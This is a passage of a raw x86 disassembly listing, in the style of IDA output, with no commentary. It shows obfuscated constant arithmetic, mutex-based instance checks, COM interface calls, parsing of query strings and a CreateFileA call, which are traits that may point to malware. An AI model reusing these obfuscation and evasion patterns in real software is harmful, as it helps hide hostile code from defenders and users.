		jbe	loc_442E6B


loc_443066:				; CODE XREF: sub_442DF5+86j
		push	offset byte_44DC4D
		call	sub_43AC82
		push	offset dword_447FD0
		mov	edx, dword_44D1C8
		mov	ecx, dword_44D214
		add	ecx, edx
		sub	ecx, 3
		push	ecx
		movsx	ecx, word_44D120
		add	ecx, dword_44D0C0
		sub	ecx, 0Dh
		push	ecx
		push	eax
		add	edx, dword_44D17C
		sub	edx, 0Bh
		push	edx
		push	0
		push	0
		push	[ebp+arg_8]
		mov	edx, dword_44D10C
		movsx	ecx, word_44D1F0
		add	edx, ecx
		dec	edx
		and	edx, 0FFh
		push	edx
		call	sub_43BC02
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442DF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4430CE	proc near		; CODE XREF: sub_43A39F:loc_43A3DAp
					; sub_44475F+271p

var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_FF		= byte ptr -0FFh

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	esi
		push	edi
		mov	edi, dword_44D1E0
		add	edi, 4
		jmp	short loc_44315D
; ---------------------------------------------------------------------------


loc_4430E4:				; CODE XREF: sub_4430CE+9Bj
		push	offset byte_44DC41
		call	sub_43AC82
		mov	[ebp+var_108], eax
		push	offset byte_44DC37
		call	sub_43AC82
		push	edi
		push	eax
		mov	esi, [ebp+var_108]
		push	esi
		lea	esi, [ebp+var_FF]
		push	esi
		call	ds:dword_44C810
		add	esp, 18h
		lea	eax, [ebp+var_FF]
		push	eax
		push	0
		push	100000h
		call	ds:dword_44B81C	; OpenMutexA
		mov	[ebp+var_104], eax
		or	eax, eax
		jz	short loc_44315C
		push	eax
		call	ds:dword_44B82C	; CloseHandle
		movsx	eax, word_44D120
		add	eax, dword_44D10C
		sub	eax, 4
		cmp	edi, eax
		jnz	short loc_443155
		xor	eax, eax
		inc	eax
		jmp	short loc_443171
; ---------------------------------------------------------------------------


loc_443155:				; CODE XREF: sub_4430CE+80j
		mov	eax, 2
		jmp	short loc_443171
; ---------------------------------------------------------------------------


loc_44315C:				; CODE XREF: sub_4430CE+65j
		inc	edi


loc_44315D:				; CODE XREF: sub_4430CE+14j
		movsx	eax, word_44D1C0
		add	eax, 5Bh
		cmp	edi, eax
		jb	loc_4430E4
		xor	eax, eax


loc_443171:				; CODE XREF: sub_4430CE+85j
					; sub_4430CE+8Cj
		pop	edi
		pop	esi
		leave
		retn
sub_4430CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443175	proc near		; DATA XREF: .data:0044D344o
		push	ebp
		mov	ebp, esp
		push	offset dword_44CD8C
		call	ds:dword_4499F4	; InterlockedIncrement
		mov	eax, ds:dword_44CD8C
		pop	ebp
		retn	4
sub_443175	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44318C	proc near		; CODE XREF: sub_43E524+296p
					; sub_43EB7A+3ACp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		inc	esi
		mov	edi, dword_44D1A8
		add	edi, 11h
		movsx	ebx, word_44D160
		add	edi, ebx
		mov	eax, esi
		test	eax, eax
		jge	short loc_4431B6
		add	eax, 0FFh


loc_4431B6:				; CODE XREF: sub_44318C+23j
		sar	eax, 8
		movsx	ebx, word_44D128
		mov	ecx, dword_44D18C
		lea	ebx, [ebx+ecx+3]
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_8], edi
		mov	edi, dword_44D1A0
		add	edi, 13h
		movsx	ebx, word_44D0E4
		add	edi, ebx
		mov	eax, esi
		test	eax, eax
		jge	short loc_4431F1
		add	eax, 0FFh


loc_4431F1:				; CODE XREF: sub_44318C+5Ej
		sar	eax, 8
		mov	ebx, dword_44D230
		add	ebx, 0Ah
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_C], edi
		mov	edi, dword_44D240
		add	edi, 18h
		add	edi, dword_44D17C
		mov	eax, esi
		test	eax, eax
		jge	short loc_443221
		add	eax, 0FFFFh


loc_443221:				; CODE XREF: sub_44318C+8Ej
		sar	eax, 10h
		movsx	ebx, word_44D180
		add	ebx, 12h
		mov	edx, eax
		imul	edx, ebx
		add	edi, edx
		mov	[ebp+var_10], edi
		mov	eax, esi
		mul	[ebp+var_8]
		mov	[ebp+var_1C], eax
		and	eax, 0FFh
		push	eax
		call	sub_444356
		mov	ebx, eax
		mov	[ebp+var_1], bl
		mov	eax, dword_44D1FC
		add	eax, 8
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43DF69
		mov	ebx, eax
		mov	[ebp+var_11], bl
		mov	eax, esi
		mul	[ebp+var_C]
		mov	[ebp+var_20], eax
		and	eax, 0FFh
		push	eax
		call	sub_444356
		mov	ebx, eax
		mov	[ebp+var_12], bl
		mov	eax, dword_44D09C
		add	eax, 6Ah
		add	eax, dword_44D200
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43DF69
		mov	ebx, eax
		mov	[ebp+var_13], bl
		mov	eax, esi
		and	eax, 0FFh
		push	eax
		call	sub_444356
		mov	ebx, eax
		mov	[ebp+var_14], bl
		movsx	eax, word_44D21C
		mov	edx, dword_44D24C
		lea	eax, [eax+edx+20h]
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43DF69
		mov	ebx, eax
		mov	[ebp+var_15], bl
		mov	eax, esi
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		and	eax, 0FFh
		push	eax
		call	sub_444356
		mov	ebx, eax
		mov	[ebp+var_16], bl
		movsx	eax, word_44D1F0
		add	eax, 47h
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_43DF69
		mov	ebx, eax
		mov	[ebp+var_17], bl
		mov	eax, dword_44D0CC
		add	eax, 3Bh
		add	eax, dword_44D094
		mov	edx, esi
		imul	edx, eax
		mov	eax, edx
		and	eax, 0FFh
		push	eax
		call	sub_444356
		add	esp, 24h
		mov	ebx, eax
		mov	[ebp+var_18], bl
		movzx	edi, [ebp+var_1]
		mov	eax, edi
		shr	eax, 1
		movsx	esi, word_44D0E8
		add	esi, dword_44D1D8
		sub	esi, 5
		mul	esi
		mov	[ebp+var_28], eax
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_4433B0
		push	offset byte_44DC1D
		call	sub_43AC82
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44C810
		add	esp, 30h
		jmp	short loc_4433F4
; ---------------------------------------------------------------------------


loc_4433B0:				; CODE XREF: sub_44318C+1DCj
		push	offset word_44DC02
		call	sub_43AC82
		movzx	edi, [ebp+var_18]
		push	edi
		movzx	edi, [ebp+var_17]
		push	edi
		movzx	edi, [ebp+var_16]
		push	edi
		movzx	edi, [ebp+var_15]
		push	edi
		movzx	edi, [ebp+var_14]
		push	edi
		movzx	edi, [ebp+var_13]
		push	edi
		movzx	edi, [ebp+var_12]
		push	edi
		movzx	edi, [ebp+var_11]
		push	edi
		movzx	edi, [ebp+var_1]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44C810
		add	esp, 30h


loc_4433F4:				; CODE XREF: sub_44318C+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44318C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4433F9	proc near		; CODE XREF: sub_43D16C+24Fp
					; sub_444ACE+2BDp

var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= dword	ptr -320h
var_31C		= dword	ptr -31Ch
var_316		= byte ptr -316h
var_212		= byte ptr -212h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 32Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_44C80C
		pop	ecx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_445970
		lea	ecx, [ebp+var_316]
		or	eax, 0FFFFFFFFh


loc_443427:				; CODE XREF: sub_4433F9+33j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_443427
		mov	ebx, eax
		sub	ebx, dword_44D1E4
		movsx	edx, word_44D1C0
		add	edx, dword_44D16C
		sub	edx, 0Bh
		mov	[ebp+ebx+var_316], dl
		mov	edi, dword_44D248


loc_443453:				; CODE XREF: sub_4433F9+164j
		mov	eax, edi
		movsx	ecx, word_44D204
		movsx	ebx, word_44D1F0
		add	ecx, ebx
		sub	ecx, 6
		mul	ecx
		mov	[ebp+var_320], eax
		movsx	eax, [ebp+edi+var_316]
		mov	edx, [ebp+var_320]
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		mov	ecx, dword_44D0D4
		add	ecx, 2
		add	ecx, dword_44D0F0
		mul	ecx
		mov	[ebp+var_324], eax
		mov	eax, dword_44D1AC
		sub	eax, 4
		mov	edx, [ebp+var_324]
		add	edx, eax
		movsx	eax, word_44D164
		sub	eax, 4
		mov	[ebp+edx+var_212], al
		movsx	eax, [ebp+edi+var_316]
		mov	edx, dword_44D0BC
		movsx	ecx, word_44D0A0
		add	edx, ecx
		sub	edx, 3
		cmp	eax, edx
		jnz	short loc_44355C
		mov	eax, edi
		mov	ecx, dword_44D178
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_328], eax
		mov	eax, dword_44D0D0
		add	eax, dword_44D1E4
		mov	edx, [ebp+var_328]
		add	edx, eax
		mov	eax, dword_44D188
		sub	eax, 9
		mov	[ebp+edx+var_212], al
		mov	eax, edi
		movsx	ecx, word_44D190
		add	ecx, dword_44D198
		sub	ecx, 0Ch
		mul	ecx
		mov	[ebp+var_32C], eax
		mov	eax, dword_44D0EC
		movsx	edx, word_44D128
		add	eax, edx
		sub	eax, 8
		mov	edx, [ebp+var_32C]
		add	edx, eax
		mov	eax, dword_44D1C4
		add	eax, dword_44D224
		sub	eax, 6
		mov	[ebp+edx+var_212], al
		jmp	short loc_443562
; ---------------------------------------------------------------------------


loc_44355C:				; CODE XREF: sub_4433F9+E2j
		inc	edi
		jmp	loc_443453
; ---------------------------------------------------------------------------


loc_443562:				; CODE XREF: sub_4433F9+161j
		cmp	dword_44D26C, 0
		jz	short loc_4435A5
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	ds:dword_4495B4
		mov	esi, eax
		or	esi, esi
		jz	short loc_4435A5
		cmp	dword_44D270, 0
		jz	short loc_4435C6
		movsx	eax, word_44D128
		sub	eax, 4
		neg	eax
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	0
		call	ds:dword_446020


loc_4435A5:				; CODE XREF: sub_4433F9+170j
					; sub_4433F9+185j
		push	ds:dword_4495C4
		push	ds:off_44C7E0
		lea	eax, [ebp+var_316]
		push	eax
		call	sub_43F4CC
		add	esp, 0Ch
		mov	[ebp+var_31C], eax


loc_4435C6:				; CODE XREF: sub_4433F9+18Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4433F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4435CB	proc near		; CODE XREF: sub_43E8B9+126p
					; sub_4425A6+1Ep ...

var_1008C	= dword	ptr -1008Ch
var_10088	= dword	ptr -10088h
var_10084	= dword	ptr -10084h
var_10080	= dword	ptr -10080h
var_1007C	= dword	ptr -1007Ch
var_10078	= word ptr -10078h
var_10070	= dword	ptr -10070h
var_10064	= dword	ptr -10064h
var_10060	= dword	ptr -10060h
var_1005C	= dword	ptr -1005Ch
var_10055	= byte ptr -10055h
var_10054	= dword	ptr -10054h
var_10050	= dword	ptr -10050h
var_1004C	= dword	ptr -1004Ch
var_10048	= dword	ptr -10048h
var_10044	= dword	ptr -10044h
var_1003F	= byte ptr -1003Fh
var_40		= word ptr -40h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1008Ch
		call	sub_445950
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_40], 8
		push	offset dword_44DBF4
		call	sub_442CEF
		pop	ecx
		push	eax
		call	ds:dword_446FF8
		mov	[ebp+var_38], eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	esi, [ebp+var_40]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_4]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		movsx	eax, word_44D23C
		add	eax, dword_44D140
		sub	eax, 0Eh
		cmp	ebx, eax
		jz	short loc_44362F
		xor	eax, eax
		jmp	loc_443CB5
; ---------------------------------------------------------------------------


loc_44362F:				; CODE XREF: sub_4435CB+5Bj
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_44EC54
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44D130
		add	eax, dword_44D108
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_443CAA
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		movsx	eax, word_44D090
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_443CA1
		mov	eax, dword_44D20C
		add	eax, dword_44D1A0
		sub	eax, 7
		mov	[ebp+var_1C], eax
		jmp	loc_443C95
; ---------------------------------------------------------------------------


loc_443696:				; CODE XREF: sub_4435CB+6D0j
		mov	[ebp+var_18], 2
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_44D1D0
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_443C92
		and	[ebp+var_10044], 0
		lea	eax, [ebp+var_10044]
		push	eax
		push	offset dword_44EC64
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D1D4
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_443C6E
		cmp	[ebp+var_10044], 0
		jz	loc_443C6E
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_443C6E
		lea	eax, [ebp+var_1003F]
		push	eax
		push	[ebp+var_20]
		call	sub_43B896
		mov	eax, dword_44D1E0
		add	eax, dword_44D1D8
		sub	eax, 3
		push	eax
		push	offset dword_44A1F0
		lea	eax, [ebp+var_1003F]
		push	eax
		call	sub_444D98
		add	esp, 14h
		movsx	edi, word_44D12C
		mov	esi, dword_44D0FC
		lea	edi, [edi+esi+0FFF0h]
		cmp	eax, edi
		jz	loc_443C6E
		movsx	eax, word_44D23C
		add	eax, dword_44D1BC
		sub	eax, 7
		cmp	[ebp+arg_8], eax
		jnz	short loc_4437BB
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_443CB5
; ---------------------------------------------------------------------------


loc_4437BB:				; CODE XREF: sub_4435CB+1D1j
		mov	eax, dword_44D0D4
		add	eax, 3
		add	eax, dword_44D248
		cmp	[ebp+arg_8], eax
		jnz	short loc_4437FF
		and	[ebp+var_10088], 0
		lea	eax, [ebp+var_10088]
		push	eax
		push	offset dword_44ECA4
		mov	eax, [ebp+var_10044]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		and	[ebp+var_1008C], 0
		jmp	loc_443C6E
; ---------------------------------------------------------------------------


loc_4437FF:				; CODE XREF: sub_4435CB+201j
		and	[ebp+var_1007C], 0
		lea	eax, [ebp+var_1007C]
		push	eax
		push	offset dword_44EC84
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D234
		add	eax, dword_44D1D8
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_443C6E
		mov	[ebp+var_10055], 44h
		push	offset dword_44DBEC
		call	sub_43AC82
		mov	edi, dword_44D1D0
		movsx	esi, word_44D1DC
		add	edi, esi
		sub	edi, 0Dh
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_444D98
		add	esp, 10h
		mov	esi, dword_44D0E0
		add	esi, 0FFFBh
		add	esi, dword_44D124
		cmp	eax, esi
		jz	short loc_443888
		mov	[ebp+var_10055], 43h


loc_443888:				; CODE XREF: sub_4435CB+2B4j
		push	offset dword_44DBE4
		call	sub_43AC82
		movsx	edi, word_44D0B4
		add	edi, dword_44D154
		sub	edi, 6
		push	edi
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_444D98
		add	esp, 10h
		movsx	esi, word_44D11C
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_4438CA:				; CODE XREF: sub_4435CB+315j
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_4438E2
		inc	[ebp+var_10050]
		jmp	short loc_4438CA
; ---------------------------------------------------------------------------


loc_4438E2:				; CODE XREF: sub_4435CB+30Dj
		mov	eax, [ebp+var_10050]
		mov	edx, dword_44D104
		add	edx, dword_44D1C4
		sub	edx, 5
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_447008
		mov	[ebp+var_10080], eax
		push	offset byte_44DBDD
		call	sub_43AC82
		push	dword_44D18C
		push	eax
		lea	edi, [ebp+var_1003F]
		push	edi
		call	sub_444D98
		add	esp, 14h
		mov	esi, dword_44D154
		movsx	edx, word_44D144
		add	esi, edx
		sub	esi, 9
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10064], edi
		mov	[ebp+var_10050], edi


loc_44395A:				; CODE XREF: sub_4435CB+3A5j
		mov	eax, [ebp+var_10050]
		cmp	[ebp+eax+var_1003F], 26h
		jz	short loc_443972
		inc	[ebp+var_10050]
		jmp	short loc_44395A
; ---------------------------------------------------------------------------


loc_443972:				; CODE XREF: sub_4435CB+39Dj
		mov	eax, [ebp+var_10050]
		movsx	edx, word_44D190
		movsx	ecx, word_44D110
		add	edx, ecx
		sub	edx, 5
		mov	[ebp+eax+var_1003F], dl
		mov	eax, [ebp+var_10064]
		lea	eax, [ebp+eax+var_1003F]
		push	eax
		call	ds:dword_447008
		pop	ecx
		mov	[ebp+var_1005C], eax
		mov	eax, dword_44D214
		dec	eax
		cmp	[ebp+var_10080], eax
		ja	short loc_443A1B
		mov	eax, dword_44D15C
		mov	[ebp+var_10048], eax
		jmp	short loc_443A09
; ---------------------------------------------------------------------------


loc_4439C8:				; CODE XREF: sub_4435CB+44Ej
		mov	edi, [ebp+var_10048]
		mov	esi, edi
		shl	esi, 2
		cmp	ds:dword_4480E0[esi], 0
		jz	short loc_443A03
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_447010[esi], edx
		jnz	short loc_443A03
		mov	dl, ds:byte_4491B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_443A03
		and	ds:dword_4480E0[edi*4],	0


loc_443A03:				; CODE XREF: sub_4435CB+410j
					; sub_4435CB+41Fj ...
		inc	[ebp+var_10048]


loc_443A09:				; CODE XREF: sub_4435CB+3FBj
		mov	eax, dword_44D19C
		add	eax, 3DFh
		cmp	[ebp+var_10048], eax
		jb	short loc_4439C8


loc_443A1B:				; CODE XREF: sub_4435CB+3EEj
		call	ds:dword_44C950	; GetTickCount
		mov	[ebp+var_10060], eax
		movsx	eax, word_44D180
		sub	eax, 5
		mov	[ebp+var_1004C], eax
		jmp	short loc_443A8B
; ---------------------------------------------------------------------------


loc_443A39:				; CODE XREF: sub_4435CB+4D0j
		mov	edi, [ebp+var_1004C]
		shl	edi, 2
		cmp	ds:dword_4480E0[edi], 0
		jz	short loc_443A85
		mov	edi, ds:dword_44B830[edi]
		movsx	esi, word_44D0B8
		add	esi, 0EA57h
		movsx	edx, word_44D1F0
		add	edx, 3
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10060]
		jnb	short loc_443A85
		mov	edi, [ebp+var_1004C]
		and	ds:dword_4480E0[edi*4],	0


loc_443A85:				; CODE XREF: sub_4435CB+47Fj
					; sub_4435CB+4AAj
		inc	[ebp+var_1004C]


loc_443A8B:				; CODE XREF: sub_4435CB+46Cj
		mov	eax, dword_44D0A4
		add	eax, 3DFh
		cmp	[ebp+var_1004C], eax
		jb	short loc_443A39
		mov	eax, dword_44D170
		add	eax, dword_44D24C
		sub	eax, 0Eh
		mov	[ebp+var_10054], eax
		jmp	short loc_443AC9
; ---------------------------------------------------------------------------


loc_443AB3:				; CODE XREF: sub_4435CB+50Ej
		mov	edi, [ebp+var_10054]
		cmp	ds:dword_4480E0[edi*4],	0
		jz	short loc_443ADB
		inc	[ebp+var_10054]


loc_443AC9:				; CODE XREF: sub_4435CB+4E6j
		mov	eax, dword_44D0B0
		add	eax, 3DFh
		cmp	[ebp+var_10054], eax
		jb	short loc_443AB3


loc_443ADB:				; CODE XREF: sub_4435CB+4F6j
		mov	edi, [ebp+var_10054]
		mov	esi, [ebp+var_1005C]
		mov	ds:dword_447010[edi*4],	esi
		mov	eax, edi
		mov	dl, [ebp+var_10055]
		mov	ds:byte_4491B0[eax], dl
		mov	esi, [ebp+arg_0]
		mov	ds:dword_446050[edi*4],	esi
		movsx	eax, word_44D0F4
		sub	eax, 7
		cmp	[ebp+var_10080], eax
		jbe	loc_443BBE
		mov	esi, dword_44D158
		add	esi, 0FFEEh
		movsx	edx, word_44D144
		add	esi, edx
		mov	ds:word_449A10[edi*2], si
		mov	eax, dword_44D240
		mov	[ebp+var_10088], eax
		jmp	short loc_443BAA
; ---------------------------------------------------------------------------


loc_443B47:				; CODE XREF: sub_4435CB+5EFj
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		cmp	ds:dword_4480E0[esi], 0
		jz	short loc_443BA4
		movzx	edx, ds:word_449A10[edi*2]
		mov	ecx, dword_44D154
		add	ecx, 0FFF8h
		add	ecx, dword_44D1B4
		cmp	edx, ecx
		jz	short loc_443BA4
		mov	edx, [ebp+var_1005C]
		cmp	ds:dword_447010[esi], edx
		jnz	short loc_443BA4
		mov	dl, ds:byte_4491B0[edi]
		cmp	dl, [ebp+var_10055]
		jnz	short loc_443BA4
		lea	edi, ds:449A10h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_443BD5
; ---------------------------------------------------------------------------


loc_443BA4:				; CODE XREF: sub_4435CB+58Fj
					; sub_4435CB+5ADj ...
		inc	[ebp+var_10088]


loc_443BAA:				; CODE XREF: sub_4435CB+57Aj
		mov	eax, dword_44D0EC
		add	eax, 3E2h
		cmp	[ebp+var_10088], eax
		jb	short loc_443B47
		jmp	short loc_443BD5
; ---------------------------------------------------------------------------


loc_443BBE:				; CODE XREF: sub_4435CB+54Cj
		mov	edi, [ebp+var_10054]
		mov	esi, dword_44D178
		sub	esi, 4
		mov	ds:word_449A10[edi*2], si


loc_443BD5:				; CODE XREF: sub_4435CB+5D7j
					; sub_4435CB+5F1j
		call	ds:dword_44C950	; GetTickCount
		mov	edi, [ebp+var_10054]
		mov	ds:dword_44B830[edi*4],	eax
		lea	esi, off_44D320
		mov	ds:dword_4480E0[edi*4],	esi
		mov	edi, [ebp+var_10054]
		lea	edi, ds:4480E0h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	[ebp+var_10078], 9
		mov	edi, [ebp+var_10054]
		lea	edi, ds:4480E0h[edi*4]
		mov	[ebp+var_10070], edi
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10054]
		lea	eax, [ebp+var_10078]
		push	eax
		call	ds:dword_44CD94
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443C6E:				; CODE XREF: sub_4435CB+140j
					; sub_4435CB+14Dj ...
		cmp	[ebp+var_10044], 0
		jz	short loc_443C83
		mov	eax, [ebp+var_10044]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443C83:				; CODE XREF: sub_4435CB+6AAj
		cmp	[ebp+var_4], 0
		jz	short loc_443C92
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443C92:				; CODE XREF: sub_4435CB+10Ej
					; sub_4435CB+6BCj
		inc	[ebp+var_1C]


loc_443C95:				; CODE XREF: sub_4435CB+C6j
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_443696


loc_443CA1:				; CODE XREF: sub_4435CB+AFj
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443CAA:				; CODE XREF: sub_4435CB+8Ej
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_443CB5:				; CODE XREF: sub_4435CB+5Fj
					; sub_4435CB+1EBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4435CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443CBA	proc near		; DATA XREF: .data:0044D368o
		push	ebp
		mov	ebp, esp
		push	offset dword_4495B8
		call	ds:dword_4499F4	; InterlockedIncrement
		mov	eax, ds:dword_4495B8
		pop	ebp
		retn	4
sub_443CBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443CD1	proc near		; CODE XREF: sub_43E524+FDp
					; sub_43EB7A+404p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		mov	esi, dword_44D0A4
		sub	esi, 9
		jmp	short loc_443D17
; ---------------------------------------------------------------------------


loc_443CE5:				; CODE XREF: sub_443CD1+49j
		call	ds:dword_44CD90
		mov	edi, dword_44D0B0
		add	edi, 56h
		add	edi, dword_44D094
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		add	edi, eax
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi


loc_443D17:				; CODE XREF: sub_443CD1+12j
		cmp	esi, [ebp+arg_4]
		jl	short loc_443CE5
		mov	eax, [ebp+arg_4]
		movsx	edx, word_44D114
		add	edx, dword_44D188
		sub	edx, 12h
		mov	[ebx+eax], dl
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_443CD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_443D39	proc near		; CODE XREF: sub_43E524+1F3p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_44A220
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_443D7A
		movsx	eax, word_44D120
		sub	eax, 9
